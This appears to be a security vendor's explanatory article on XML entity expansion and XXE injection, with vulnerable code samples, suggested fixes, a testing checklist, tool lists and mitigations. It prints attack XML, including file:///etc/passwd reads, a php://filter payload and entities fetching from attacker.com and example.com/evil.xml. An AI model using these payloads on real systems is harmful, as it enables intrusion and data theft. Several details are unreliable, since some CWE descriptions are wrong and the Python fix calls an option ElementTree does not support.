06 Mar, 2023

XML Entity Expansion (XEE) Injection

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

XML Entity Expansion (XEE) Injection is a type of security vulnerability that can occur in XML-based applications. It involves the injection of XML entities, which are pieces of code that can be expanded and evaluated by the XML parser, allowing an attacker to execute arbitrary code or access sensitive data. XEE injection attacks can occur when an XML input is not properly validated or sanitized, allowing malicious XML entities to be included and expanded. This can lead to various types of attacks, such as denial-of-service attacks, information disclosure, or even remote code execution. To prevent XEE injection, applications should validate and sanitize all XML inputs, limit the use of external entities, and use secure XML parsers.

Example of vulnerable code on different programming languages:


in Java:

				
					import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.File;

public class XMLParser {
   public static void main(String[] args) {

      try {
         File inputFile = new File("input.xml");
         DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
         DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
         Document doc = dBuilder.parse(inputFile);
         doc.getDocumentElement().normalize();

         System.out.println("Root element :" + doc.getDocumentElement().getNodeName());
      } catch (Exception e) {
         e.printStackTrace();
      }
   }
}

				
			


In the above code, an XML file is parsed using the DocumentBuilderFactory and DocumentBuilder classes. However, this code is vulnerable to XEE injection because it does not disable external entity processing. An attacker can include a malicious XML entity in the input file that can be expanded by the parser and execute arbitrary code or access sensitive data.

To prevent XEE injection in Java, the following line should be added before parsing the XML file:

				
					dbFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);


				
			


This disables external entity processing and prevents XEE injection.

• in PHP:

				
					$xml = simplexml_load_file("input.xml");
echo $xml->getName();

				
			

 

In the above PHP code, an XML file is loaded using the simplexml_load_file function. However, this code is vulnerable to XEE injection because the function does not disable external entity processing. An attacker can include a malicious XML entity in the input file that can be expanded by the parser and execute arbitrary code or access sensitive data.

To prevent XEE injection in PHP, the following line should be added before loading the XML file:

				
					libxml_disable_entity_loader(true);

				
			


This disables external entity processing and prevents XEE injection.

• in Python:

				
					import xml.etree.ElementTree as ET

tree = ET.parse('input.xml')
root = tree.getroot()

print(root.tag)

				
			

 

In the above Python code, an XML file is parsed using the xml.etree.ElementTree module. However, this code is vulnerable to XEE injection because the module does not disable external entity processing. An attacker can include a malicious XML entity in the input file that can be expanded by the parser and execute arbitrary code or access sensitive data.

To prevent XEE injection in Python, the following line should be added before parsing the XML file:

				
					ET.parse('input.xml', parser=ET.XMLParser(target=ET.TreeBuilder(), resolve_entities=False))

				
			


This disables external entity processing and prevents XEE injection.

Examples of exploitation XML Entity Expansion (XEE) Injection

Denial-of-Service (DoS) Attack:

An attacker can create a malicious XML file that contains a large number of entity references, causing the XML parser to expand them and consume a large amount of memory and CPU resources, leading to a denial-of-service (DoS) attack.

Example XML file:

				
					<!DOCTYPE test [
  <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"]>
]>
<test>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</test>

				
			


Information Disclosure:

An attacker can create a malicious XML file that contains an external entity reference to a sensitive file on the server, such as /etc/passwd, which can be expanded by the XML parser and reveal the contents of the file to the attacker.

Example XML file:

				
					<!DOCTYPE test [
  <!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<test>&passwd;</test>

				
			


Remote Code Execution:

An attacker can create a malicious XML file that contains an external entity reference to a remote server that serves a malicious XML file, which can be expanded by the XML parser and execute arbitrary code on the victim’s system.

Example XML file:

				
					<!DOCTYPE test [
  <!ENTITY remote SYSTEM "http://attacker.com/malicious.xml">
]>
<test>&remote;</test>

				
			

Privilege escalation techniques for XML Entity Expansion (XEE) Injection

Escalate to root:

If the XML parser is running with elevated privileges, such as root or SYSTEM, an attacker can use XEE injection to read sensitive files, such as configuration files, and use the information gained to escalate privileges to root or SYSTEM.

Access sensitive data:

An attacker can use XEE injection to access sensitive data, such as passwords or other authentication information, which can then be used to escalate privileges to gain access to other systems or resources.

Remote code execution:

As mentioned earlier, an attacker can use XEE injection to execute arbitrary code on the victim’s system, which can be used to escalate privileges, such as by executing a command with elevated privileges.

Bypass security controls:

An attacker can use XEE injection to bypass security controls, such as input validation or access controls, and gain access to resources or functionality that would otherwise be restricted.

Modify system settings:

An attacker can use XEE injection to modify system settings, such as disabling security controls or adding a new user with elevated privileges, which can be used to escalate privileges and gain greater access to the system.

General methodology and checklist for XML Entity Expansion (XEE) Injection

Methodology:

  1. Identify the target: Identify the application or system that is using XML and could be vulnerable to XEE injection.

  2. Understand the XML parser: Understand the XML parser used by the target application or system, including its capabilities and limitations.

  3. Develop test cases: Develop test cases to check for XEE injection vulnerabilities, such as sending XML payloads containing entity references and observing the response from the target.

  4. Test for denial-of-service: Test for denial-of-service (DoS) vulnerabilities by sending XML payloads containing large numbers of entity references and observing the response from the target.

  5. Test for information disclosure: Test for information disclosure vulnerabilities by sending XML payloads containing entity references to sensitive files and observing the response from the target.

  6. Test for remote code execution: Test for remote code execution vulnerabilities by sending XML payloads containing entity references to a remote server controlled by the attacker and observing the response from the target.

  7. Test for privilege escalation: Test for privilege escalation vulnerabilities by using XEE injection to escalate privileges, such as by accessing sensitive files or modifying system settings.

  8. Verify and report: Verify any vulnerabilities found and report them to the appropriate parties, such as the application or system vendor or the organization responsible for security testing.

Checklist:

  1. Identify the XML parser used by the target application or system.

  2. Check for XML external entity (XXE) processing capability and document any findings.

  3. Test for XEE injection vulnerabilities by sending XML payloads containing entity references and observing the response from the target.

  4. Test for DoS vulnerabilities by sending XML payloads containing large numbers of entity references and observing the response from the target.

  5. Test for information disclosure vulnerabilities by sending XML payloads containing entity references to sensitive files and observing the response from the target.

  6. Test for remote code execution vulnerabilities by sending XML payloads containing entity references to a remote server controlled by the attacker and observing the response from the target.

  7. Test for privilege escalation vulnerabilities by using XEE injection to escalate privileges, such as by accessing sensitive files or modifying system settings.

  8. Verify any vulnerabilities found and report them to the appropriate parties, such as the application or system vendor or the organization responsible for security testing.

  9. Use automated tools, such as vulnerability scanners and fuzzing tools, to aid in the testing process.

  10. Ensure that testing is conducted in a controlled and safe environment to avoid any unintended consequences, such as DoS attacks or unauthorized access to sensitive information.

  11. Document all testing activities, including test cases, findings, and recommendations for remediation.

  12. Repeat testing periodically to ensure that vulnerabilities have been addressed and new vulnerabilities have not been introduced.

Tools set for exploiting XML Entity Expansion (XEE) Injection

Manual Tools:

  • Burp Suite: A popular web application testing tool that includes a proxy, scanner, and other utilities. It has a built-in XML editor that allows for manual testing of XEE injection vulnerabilities.

  • XML External Entity (XXE) Injection Cheat Sheet: A comprehensive guide that includes sample payloads and testing techniques for XEE injection.

  • Xerxes XXE Editor: An open-source XML editor that can be used to manually test XEE injection vulnerabilities.

  • Oxygen XML Editor: A comprehensive XML editor that includes features for manual testing of XEE injection vulnerabilities.

  • Notepad++: A text editor with XML syntax highlighting that can be used to manually test XEE injection vulnerabilities.

  • Firefox XML Developer Toolbar: A browser extension that includes tools for testing XML and XEE injection vulnerabilities.

  • Chrome Developer Tools: A browser feature that includes tools for testing XML and XEE injection vulnerabilities.

Automated Tools:

  • OWASP ZAP: An open-source web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • Acunetix: A web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • Netsparker: A web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • AppScan: A web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • Nmap: A network exploration and security auditing tool that includes a script for testing XEE injection vulnerabilities.

  • sqlmap: A popular SQL injection testing tool that includes functionality for testing XEE injection vulnerabilities.

  • Metasploit: A comprehensive penetration testing framework that includes modules for testing XEE injection vulnerabilities.

  • Skipfish: A web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • Arachni: A web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • Vega: A web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • Burp Suite Pro: The professional version of Burp Suite, which includes a scanner for XEE injection vulnerabilities.

  • WebScarab: An open-source web application security testing tool that includes a scanner for XEE injection vulnerabilities.

  • Qualys: A cloud-based web application security testing tool that includes a scanner for XEE injection vulnerabilities.

Average CVSS score of stack XML Entity Expansion (XEE) Injection

The Common Vulnerability Scoring System (CVSS) is a standardized system used to assess the severity of vulnerabilities in software systems. The CVSS score ranges from 0 to 10, with higher scores indicating more severe vulnerabilities.

The average CVSS score for XEE injection vulnerabilities can vary widely depending on the specific vulnerability and the system or application in which it is found. XEE injection vulnerabilities can range in severity from low to critical, depending on the impact they have on the system or application.

In general, XEE injection vulnerabilities that allow an attacker to read sensitive information or cause a denial of service (DoS) attack tend to have lower CVSS scores, typically in the range of 4 to 6. More severe XEE injection vulnerabilities that allow an attacker to execute arbitrary code or gain administrative access to the system can have higher CVSS scores, typically in the range of 7 to 10.

However, it’s important to note that the CVSS score is just one factor to consider when assessing the severity of a vulnerability. Other factors, such as the potential impact on the organization and the likelihood of exploitation, should also be taken into account when determining the severity of a vulnerability and prioritizing remediation efforts.

The Common Weakness Enumeration (CWE)

• CWE-611: Improper Restriction of XML External Entity Reference – This CWE refers to a vulnerability where an application uses external entities in an XML document without properly validating or sanitizing them, allowing an attacker to inject arbitrary code into the XML document.

• CWE-78: Improper Neutralization of Special Elements used in an XML External Entity Reference – This CWE is similar to CWE-611, but it specifically refers to a vulnerability where an application does not properly neutralize special characters in an XML external entity reference, which can allow an attacker to inject arbitrary code.

• CWE-91: XML Injection (aka Blind XPath Injection) – This CWE refers to a vulnerability where an application does not properly validate user input that is used to construct an XPath query, allowing an attacker to inject malicious code into the query and potentially execute arbitrary commands on the server.

• CWE-129: Improper Validation of Array Index – This CWE refers to a vulnerability where an application does not properly validate user input that is used as an array index, which can allow an attacker to read or write data outside the bounds of the array.

• CWE-190: Integer Overflow or Wraparound – This CWE refers to a vulnerability where an application performs arithmetic operations on integers without properly validating the input, which can lead to integer overflow or wraparound and potentially allow an attacker to execute arbitrary code.

• CWE-434: Unrestricted Upload of File with Dangerous Type – This CWE refers to a vulnerability where an application allows users to upload files without properly validating the file type, which can allow an attacker to upload a malicious file and potentially execute arbitrary code.

• CWE-440: Expected Behavior Violation – This CWE refers to a vulnerability where an application behaves in a way that violates its expected behavior, potentially allowing an attacker to exploit the system.

• CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’) – This CWE refers to a vulnerability where an application redirects users to an untrusted website, potentially allowing an attacker to exploit the system.

• CWE-862: Missing Authorization – This CWE refers to a vulnerability where an application does not properly authenticate or authorize users, potentially allowing an attacker to gain unauthorized access to sensitive data or functionality.

• CWE-937: Improper Control of Filename for Include/Require Statement in PHP Program – This CWE refers to a vulnerability where an application includes or requires a file based on user input, potentially allowing an attacker to execute arbitrary code by manipulating the filename.

CVES related to XML Entity Expansion (XEE) Injection

• CVE-2015-5161 – The Zend_Xml_Security::scan in ZendXml before 1.0.1 and Zend Framework before 1.12.14, 2.x before 2.4.6, and 2.5.x before 2.5.2, when running under PHP-FPM in a threaded environment, allows remote attackers to bypass security checks and conduct XML external entity (XXE) and XML entity expansion (XEE) attacks via multibyte encoded characters.

XML Entity Expansion (XEE) Injection exploits

  • Billion Laughs Attack – This exploit is a type of XEE attack that uses a large number of nested entity references to consume system resources and potentially crash the server.

  • Parameter Entity Injection – This exploit takes advantage of the ability to define entities in a DTD, allowing an attacker to inject malicious code by defining a parameter entity and referencing it in the XML document.

  • XML Schema Poisoning – This exploit takes advantage of the ability to include XML schemas in an XML document, allowing an attacker to inject malicious code by defining a schema that references external entities.

  • XPath Injection – This exploit takes advantage of the ability to construct XPath queries in an XML document, allowing an attacker to inject malicious code by manipulating the query to execute arbitrary commands on the server.

  • XXE Injection via File Upload – This exploit takes advantage of the ability to upload files to a server, allowing an attacker to upload a specially crafted XML file that includes external entities and executes arbitrary code when parsed by the server.

  • Blind XXE Injection – This exploit takes advantage of the ability to include external entities in an XML document, allowing an attacker to inject malicious code that is not visible in the output of the application.

  • Parameter Tampering – This exploit takes advantage of the ability to pass parameters to an application, allowing an attacker to manipulate the values of these parameters to execute arbitrary code on the server.

  • XML Attribute Injection – This exploit takes advantage of the ability to define attributes in an XML document, allowing an attacker to inject malicious code by defining an attribute that includes external entities.

  • XInclude Injection – This exploit takes advantage of the ability to include external resources in an XML document using the XInclude standard, allowing an attacker to include malicious code that is executed when the document is parsed.

  • SOAP Parameter Tampering – This exploit takes advantage of the ability to pass parameters to a SOAP web service, allowing an attacker to manipulate the values of these parameters to execute arbitrary code on the server.

Practicing in test for XML Entity Expansion (XEE) Injection

Create a vulnerable web application: create a simple web application that accepts XML input and parses it without proper security controls. This will allow you to test various XEE injection techniques on your own application in a safe environment.

Use a vulnerable application: there are several vulnerable web applications available online that are designed to be exploited. These applications provide a safe environment for practicing XEE injection techniques.

Use online resources: there are several online resources available that provide sample XML files and tutorials on how to exploit them. These resources can help you understand XEE injection techniques and how to test for them.

Join a hacking community: join a community of ethical hackers who are interested in XEE injection testing. These communities often provide resources, tutorials, and feedback on your testing techniques.

Attend training courses: attend training courses that cover XEE injection testing techniques. These courses often provide hands-on experience and feedback on your testing techniques.

Use automated testing tools: use automated testing tools such as OWASP ZAP or Burp Suite to test for XEE injection vulnerabilities. These tools can save time and provide valuable insights into the vulnerabilities present in your web application.

Join bug bounty programs: join bug bounty programs that offer rewards for finding vulnerabilities in web applications. This can provide an opportunity to practice your XEE injection testing techniques and potentially earn some money in the process.

For study XML Entity Expansion (XEE) Injection

OWASP XML External Entity Prevention Cheat Sheet – This cheat sheet provides a comprehensive guide to preventing XEE attacks.

OWASP Top 10 Project – The OWASP Top 10 Project is a well-known resource that provides a list of the top 10 web application security risks, including XEE injection.

XML Injection Wiki – The XML Injection Wiki provides information on various XML injection techniques, including XEE injection.

Web Application Hacker’s Handbook – The Web Application Hacker’s Handbook is a comprehensive guide to web application security testing, including techniques for testing for XEE injection.

Hacking Exposed Web Applications – Hacking Exposed Web Applications is a practical guide to web application security testing, including techniques for testing for XEE injection.

XML Tutorial – W3Schools provides a comprehensive tutorial on XML, including information on how to prevent XEE attacks.

YouTube Tutorials – There are several YouTube channels that provide tutorials on XEE injection testing techniques, including OWASP and HackerSploit.

Online Courses – Several online courses provide training on web application security testing, including XEE injection testing. Udemy and Coursera are popular platforms that offer such courses.

Capture the Flag (CTF) Competitions – Participating in CTF competitions can provide hands-on experience with XEE injection testing techniques.

Bug Bounty Programs – Participating in bug bounty programs can provide opportunities to practice XEE injection testing techniques and potentially earn money for finding vulnerabilities in web applications.

Books with review of XML Entity Expansion (XEE) Injection

“Hacking Exposed Web Applications: Web Application Security Secrets and Solutions” by Joel Scambray, Vincent Liu, and Caleb Sima – This book provides a comprehensive guide to web application security, including techniques for testing and preventing XEE injection.

“The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws” by Dafydd Stuttard and Marcus Pinto – This book is a practical guide to web application security testing, including techniques for testing for XEE injection.

“Web Security, Privacy & Commerce” by Simson Garfinkel and Gene Spafford – This book provides a comprehensive overview of web security, including information on preventing XEE attacks.

“Securing Web Services with WS-Security: Demystifying WS-Security, WS-Policy, SAML, XML Signature, and XML Encryption” by Jothy Rosenberg and David Remy – This book focuses on securing web services, including techniques for preventing XEE injection.

“XML Hacks: 100 Industrial-Strength Tips and Tools” by Michael Fitzgerald – This book provides tips and tools for working with XML, including information on preventing XEE attacks.

“Web Application Vulnerabilities: Detect, Exploit, Prevent” by Steven Palmer – This book provides a practical guide to web application security testing, including techniques for testing for XEE injection.

“Web Application Security: A Beginner’s Guide” by Bryan Sullivan and Vincent Liu – This book is a beginner’s guide to web application security, including information on preventing XEE attacks.

“Security for Web Developers: Using JavaScript, HTML, and CSS” by John Paul Mueller – This book provides information on securing web applications, including techniques for preventing XEE attacks.

“Security Engineering: A Guide to Building Dependable Distributed Systems” by Ross Anderson – This book provides a comprehensive guide to building secure systems, including techniques for preventing XEE attacks.

“Core Security Patterns: Best Practices and Strategies for J2EE, Web Services, and Identity Management” by Christopher Steel and Ramesh Nagappan – This book provides best practices and strategies for building secure systems, including techniques for preventing XEE attacks.

List of payloads XML Entity Expansion (XEE) Injection

  1. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> This payload defines an external entity called xxe, which retrieves the contents of the /etc/passwd file.

  2. <!DOCTYPE test [<!ENTITY xxe SYSTEM "http://example.com/evil.xml">]> This payload defines an external entity called xxe, which retrieves the contents of a malicious XML file hosted on a remote server.

  3. <!DOCTYPE test [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> This payload defines an external entity called xxe, which retrieves the base64-encoded contents of the index.php file using a PHP filter.

  4. <!DOCTYPE test [<!ENTITY xxe SYSTEM "javascript:alert('XSS')"/>]> This payload defines an external entity called xxe, which executes an XSS attack by injecting a JavaScript alert box into the XML document.

  5. <!DOCTYPE test [<!ENTITY % xxe SYSTEM "file:///etc/passwd">%xxe;]> This payload defines a parameter entity called xxe, which retrieves the contents of the /etc/passwd file.

  6. <!DOCTYPE test [<!ENTITY xxe SYSTEM "php://input">]> This payload defines an external entity called xxe, which retrieves the contents of the HTTP request body.

How to be protected from XML Entity Expansion (XEE) Injection

  1. Use a secure XML parser: Ensure that the XML parser being used is secure and does not allow the expansion of external entities.

  2. Use input validation: Implement proper input validation and filtering techniques to ensure that user input does not contain any malicious XML code.

  3. Use whitelisting: Use a whitelist of known safe XML entities and disallow any other entities.

  4. Use parameterized queries: Use parameterized queries when constructing XML documents to avoid embedding user input directly into the XML document.

  5. Disable external entity expansion: Disable external entity expansion in the XML parser configuration.

  6. Use XML Schema validation: Implement XML Schema validation to ensure that XML documents conform to a specific schema and reject any that do not.

  7. Sanitize user input: Sanitize user input to remove any potentially malicious content, such as XML entities and tags.

  8. Keep software up-to-date: Keep all software and libraries that use XML parsers up-to-date with the latest security patches.

  9. Limit file permissions: Restrict the file system permissions of the server hosting the XML documents to limit access to sensitive files.

  10. Use a Web Application Firewall (WAF): Implement a WAF that can detect and block XML Entity Expansion attacks by analyzing incoming HTTP requests and responses.

Mitigations for XML Entity Expansion (XEE) Injection

  1. Choose an XML parser that has secure defaults and is configured to disallow the expansion of external entities by default.

  2. Disable external entity expansion in the XML parser configuration, either globally or for specific applications.

  3. Implement proper input validation and filtering techniques to ensure that user input does not contain any malicious XML code.

  4. Implement XML Schema validation to ensure that XML documents conform to a specific schema and reject any that do not.

  5. Use parameterized queries when constructing XML documents to avoid embedding user input directly into the XML document.

  6. Use a whitelist of known safe XML entities and disallow any other entities.

  7. Sanitize user input to remove any potentially malicious content, such as XML entities and tags.

  8. Keep all software and libraries that use XML parsers up-to-date with the latest security patches.

  9. Restrict the file system permissions of the server hosting the XML documents to limit access to sensitive files.

  10. Implement access controls to restrict access to XML documents based on user roles and privileges.

  11. Monitor and log activity related to XML documents to detect and respond to potential attacks.

  12. Implement a WAF that can detect and block XML Entity Expansion attacks by analyzing incoming HTTP requests and responses.

Conclusion

XML Entity Expansion (XEE) Injection is a serious vulnerability that can lead to a variety of attacks, including data theft, denial of service, and even full system compromise. The vulnerability arises when an XML parser processes XML documents containing external entities, which can be used to extract sensitive information, execute arbitrary code, or cause the system to crash.

To protect against XEE Injection, it is important to use secure XML parsers, disable external entity expansion, validate input, use parameterized queries, and implement access controls. In addition, keeping software up-to-date, limiting file permissions, and monitoring activity can help detect and prevent attacks.

It is also important for developers and security professionals to be aware of the common attack techniques, tools, and payloads used in XEE Injection attacks, as well as the mitigations that can be implemented to prevent them. Regular testing and vulnerability assessments can help identify and address vulnerabilities in XML parsing code, and awareness training can help developers write more secure code.

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